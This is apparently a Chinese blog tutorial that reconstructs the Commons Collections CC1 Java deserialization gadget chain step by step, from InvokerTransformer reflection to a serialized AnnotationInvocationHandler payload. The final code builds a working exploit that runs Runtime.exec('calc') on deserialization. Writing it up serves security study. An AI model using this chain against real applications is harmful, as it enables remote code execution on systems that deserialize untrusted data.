目录
前置知识
首先看哪里调用了transform接口,下面介绍几个我们这是次cc1链需要用到的。
进入之后,发现会传入一个对象执行transform方法
快捷键 Ctrl+Alt+B,查看一下它的实现方法
重点介绍一下这三种
InvokerTransformer
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
InvokerTransformer也是本次cc1的漏洞点
在InvokerTransformer里,我们可以传入方法名,参数类型数组和参数值数组,在这里有个transform方法,我们可以利用它来传入我们想要的数据,来执行某个的对象的目标方法。
ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
这个ConstantTransformer中的内容很好理解,因为constant代表常量,这里我们只要传入一个对象,它就会把对象return回来
ChainedTransformer
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
这里传入的是Transformer[] 数组类型的参数,而这个类的transform方法比较有意思:它会把第i轮的输出再作为第i+1轮的输入,直到循环结束,return最终的结果。
开始复现挖掘CC1
首先,我们通过反射来进行弹计算器
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method Method = (Method) c.getMethod("exec",String.class);
Method.setAccessible(true);
Method.invoke(r,"calc");
我们再通过InvokerTransformer的这种写法来修改一下:传入如下三种参数后进行调用它的transform方法,传入的是一个对象即可
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
// Method rcMethod = (Method) c.getMethod("exec",String.class);
// rcMethod.setAccessible(true);
// rcMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
我们接下来就看还有哪个类调用了transform方法,一直找不同类,直到找到readObject里面,可以看到TransformedMap类中的checkSetValue方法调用了transform()方法
valueTransformer.transform(value)
//受保护的方法
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
我们再看看valueTransformer是从哪里过来的,在113行发现,它的构造方法是protected受保护的属性
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
在73行还有一个静态(decorate)装饰方法,会返回new TransformedMap(map, keyTransformer, valueTransformer),通过这个方法我们就可以控制valuetransformer了。
那么现在就通过这个TransformedMap类有个checkSetValue方法,再延伸一下链子。(查看一下哪里调用了)然后发现在AbstractInputCheckedMapDecorator类中Setvalue方法中调用了这个checkSetValue方法
static class MapEntry extends AbstractMapEntryDecorator {
/** The parent map */
private final AbstractInputCheckedMapDecorator parent;
protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
super(entry);
this.parent = parent;
}
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
}
在这里:MapEntry是代表一个键值对,所以我们需要写一个键值对,然后传入的对象就是我们之前定义的Runtime对象
Runtime r = Runtime.getRuntime();
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method rcMethod = (Method) c.getMethod("exec",String.class);
// rcMethod.setAccessible(true);
// rcMethod.invoke(r,"calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
//相当于 invokerTransformer.transform(r)
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}
这里就弹出计算器了
setValue<-checksetValue<-invokerTransformer.transform()
接下来就是找谁调用了setValue,最好是在readObject里直接调用的,这样就可以直接交工了,不需要再往上继续找了。
最后,我们在AnnotationInvocationHandler类中找到了这个readObject方法,
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
这里也是对键值对进行循环,并且经过两个if判断才能调用到我们想要的setValue方法中,
这里还有一个细节,我们可以发现这里并没有修饰符,属于默认default类型,只有在这个包里面才能进行获取,所以我们需要通过反射来进行获取
这里选择通过全类名获取类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class,transformedMap);
Serialize(o);
序列化生成ser.bin再反序列化是不能弹出计算器的,这里是为什么呢?
问题一、
Runtime类是没有序列化接口的,说明它没有办法进行序列化
问题二、
绕过两个if和setValue的参数问题
柳暗花明
解决问题一:
还是利用反射来解决
获取一个class类
Class c = Runtime.class;
反射获取public方法
Method method = rc.getMethod("getRuntime");
调用 method.invoke(null,null);,第一个null是因为getRuntime方法是一个静态方法,第二个null是无参数方法
Class rc = Runtime.class;
Method method = rc.getMethod("getRuntime",null);
Runtime r = (Runtime) method.invoke(null,null);
Method execMethod = rc.getMethod("exec",String.class);
execMethod.invoke(r,"calc");
利用InvokerTransformer(),重新完善链子
首先再回顾一下InvokerTransformer()的参数吧
一、方法名
二、参数类型数组
三、参数值数组
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
参数值对应情况如下
one
Method one = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// Class rc = Runtime.class;
// Method method = rc.getMethod("getRuntime",null);
two
Runtime two = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(one);
// Runtime two = (Runtime) method.invoke(null,null);
three
这个和上面是一样的
方法名exec 方法类型String 方法值 calc
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(two);
// Method execMethod = rc.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
弹出来计算器了,删除注释后的代码
Method one = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime two = (Runtime)new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(one);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(two);
这里发现他们就是个重复调用的过程,通过我命名one two 也可以更好看出来
那么我们在前置知识介绍的ChainedTransformer在这里就用到了
我们new 一个 transformer数组,把他们放进去
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);
解决问题二:
在if下面打个断点,然后把之前注释的cc1.java中的重新放出来
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(Runtime.class);
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "aa");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, transformedMap);
Serialize(o);
unserialize(o);
然后在AnnotationInvocationHandler类里面打个断点,可以看到我们是进不去第一个if的,因为我们override里面没有东西
还有@Target和@Retention注解,我们换个 @Retention注解看一下。
同时我们也要把键值对的键名也修改成value
修改后
再断点调试,可以看到,我们就进来了
还有就是解决setValue里面的参数问题了
从setValue是可以调用到这里的
valueTransformer.transform(value)
相当于
chainedTransformer.transform(Runtime.class)
那么我们如果改其中的值呢?也就是修改AnnotationTypeMismatchExceptionProxy@665,为我们想要的Runtime.class
这里就想到了我们之前介绍的 ConstantTransformer 类
它的特点就是无论接受什么参数,就会返回什么参数。因此我们可以用它来做文章即利用它的transform方法传入一个Runtime.class
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "Rsecret");
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Retention.class, transformedMap);
Serialize(o);
unserialize(o);
再整理一下思路,我们调用了chainedTransformer.transform(),然后调用的是ConstantTransformer的transform方法,ConstantTransformer把输出变成了我们输入的Runtime.class
至此cc1链的其中一条链子学习完毕,还有一条cc1链是利用的LazyMap,后续有缘再更新吧~
谢谢师傅们,后续我也会观看本文章,进行相关的补充。